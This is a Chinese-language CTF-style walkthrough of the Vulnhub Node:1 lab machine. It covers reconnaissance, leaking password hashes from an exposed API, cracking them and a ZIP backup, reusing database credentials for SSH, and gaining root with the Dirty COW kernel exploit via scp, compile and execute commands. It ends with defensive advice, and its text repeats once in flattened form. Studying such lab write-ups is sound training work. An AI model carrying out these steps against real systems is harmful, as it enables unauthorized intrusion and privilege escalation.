Vulnhub Node:1 详解
字数 1309 2025-08-27 12:33:23

Vulnhub Node:1 靶机渗透测试详解

1. 信息收集阶段

1.1 网络发现

使用 arp-scan 工具发现目标IP:

arp-scan -l

发现目标IP为 192.168.92.129

1.2 端口扫描

使用 nmap 进行端口探测:

nmap -sV -p- 192.168.92.129

发现开放端口:

  • 22/tcp - SSH服务
  • 3000/tcp - Node.js Web服务

1.3 Web服务分析

访问 http://192.168.92.129:3000 发现是一个Node.js编写的Web界面

通过审计前端JavaScript代码,在 assets/js/app/controllers/home.js 文件中发现敏感信息端点:

// 代码中暴露了API端点
/api/users/latest/

2. 获取初始凭证

2.1 获取用户列表

访问 /api/users/latest/ 获取到用户凭证:

{
  "username": "mark",
  "password": "5f4dcc3b5aa765d61d8327deb882cf99"
}

2.2 密码破解

使用 hash-identifier 判断加密方式为MD5(原文误写为SHA-256):

hash-identifier 5f4dcc3b5aa765d61d8327deb882cf99

使用在线工具破解得到密码为 password

2.3 登录尝试

使用 mark:password 登录系统,发现普通用户权限有限,提示:

Only admin users have access to the control panel currently, but check back soon to test the standard user functionality!

2.4 获取管理员账户

访问 /api/users/ 获取完整用户列表,发现管理员账户:

{
  "username": "myP14ceAdm1nAcc0uNT",
  "password": "dffc504aa55359b9265cbebe432e2b00"
}

破解得到密码为 manchester

3. 获取源代码

3.1 管理员功能

使用 myP14ceAdm1nAcc0uNT:manchester 登录后,发现可以下载网站备份源码 myplace.zip

3.2 破解ZIP密码

使用 fcrackzip 进行字典破解:

fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt myplace.zip

得到密码:magicword

解压源代码:

unzip -P magicword myplace.zip

4. 代码审计与数据库访问

4.1 分析app.js

在解压的源代码中,app.js 文件包含MongoDB配置信息:

const MongoClient = require('mongodb').MongoClient;
MongoClient.connect('mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authSource=myplace');

4.2 SSH登录

使用发现的数据库凭证 mark:5AYRft73VtFpc84k 成功SSH登录:

ssh mark@192.168.92.129

5. 权限提升

5.1 系统信息收集

查看系统版本信息:

lsb_release -a
uname -a

输出显示系统为Ubuntu 16.04,内核版本4.4.0-21-generic

5.2 漏洞利用

使用 searchsploit 查找可用漏洞:

searchsploit "Linux Kernel 4.4.0-21"

发现存在脏牛(Dirty Cow)漏洞(CVE-2016-5195)

5.3 上传并编译EXP

从攻击机上传EXP:

scp 40847.cpp mark@192.168.92.129:/tmp/

在目标机器上编译:

g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil

5.4 执行提权

运行编译后的程序:

./dcow

成功获取root权限

6. 获取Flag

6.1 用户Flag

cat /home/tom/user.txt

6.2 Root Flag

cat /root/root.txt

关键点总结

  1. API端点发现:通过审计前端JavaScript代码发现敏感API端点
  2. 密码破解:使用字典攻击破解MD5哈希和ZIP密码
  3. 凭证复用:数据库凭证成功用于SSH登录
  4. 内核漏洞利用:利用脏牛漏洞进行本地提权

参考工具列表

  • arp-scan
  • nmap
  • hash-identifier
  • fcrackzip
  • searchsploit
  • scp
  • g++

防御建议

  1. 避免在前端代码中暴露敏感API端点
  2. 使用强密码策略,避免使用常见密码
  3. 及时更新系统和内核补丁
  4. 实现最小权限原则,避免凭证复用
  5. 对敏感文件进行适当权限控制
Vulnhub Node:1 靶机渗透测试详解 1. 信息收集阶段 1.1 网络发现 使用 arp-scan 工具发现目标IP: 发现目标IP为 192.168.92.129 1.2 端口扫描 使用 nmap 进行端口探测: 发现开放端口: 22/tcp - SSH服务 3000/tcp - Node.js Web服务 1.3 Web服务分析 访问 http://192.168.92.129:3000 发现是一个Node.js编写的Web界面 通过审计前端JavaScript代码,在 assets/js/app/controllers/home.js 文件中发现敏感信息端点: 2. 获取初始凭证 2.1 获取用户列表 访问 /api/users/latest/ 获取到用户凭证: 2.2 密码破解 使用 hash-identifier 判断加密方式为MD5(原文误写为SHA-256): 使用在线工具破解得到密码为 password 2.3 登录尝试 使用 mark:password 登录系统,发现普通用户权限有限,提示: 2.4 获取管理员账户 访问 /api/users/ 获取完整用户列表,发现管理员账户: 破解得到密码为 manchester 3. 获取源代码 3.1 管理员功能 使用 myP14ceAdm1nAcc0uNT:manchester 登录后,发现可以下载网站备份源码 myplace.zip 3.2 破解ZIP密码 使用 fcrackzip 进行字典破解: 得到密码: magicword 解压源代码: 4. 代码审计与数据库访问 4.1 分析app.js 在解压的源代码中, app.js 文件包含MongoDB配置信息: 4.2 SSH登录 使用发现的数据库凭证 mark:5AYRft73VtFpc84k 成功SSH登录: 5. 权限提升 5.1 系统信息收集 查看系统版本信息: 输出显示系统为Ubuntu 16.04,内核版本4.4.0-21-generic 5.2 漏洞利用 使用 searchsploit 查找可用漏洞: 发现存在脏牛(Dirty Cow)漏洞(CVE-2016-5195) 5.3 上传并编译EXP 从攻击机上传EXP: 在目标机器上编译: 5.4 执行提权 运行编译后的程序: 成功获取root权限 6. 获取Flag 6.1 用户Flag 6.2 Root Flag 关键点总结 API端点发现 :通过审计前端JavaScript代码发现敏感API端点 密码破解 :使用字典攻击破解MD5哈希和ZIP密码 凭证复用 :数据库凭证成功用于SSH登录 内核漏洞利用 :利用脏牛漏洞进行本地提权 参考工具列表 arp-scan nmap hash-identifier fcrackzip searchsploit scp g++ 防御建议 避免在前端代码中暴露敏感API端点 使用强密码策略,避免使用常见密码 及时更新系统和内核补丁 实现最小权限原则,避免凭证复用 对敏感文件进行适当权限控制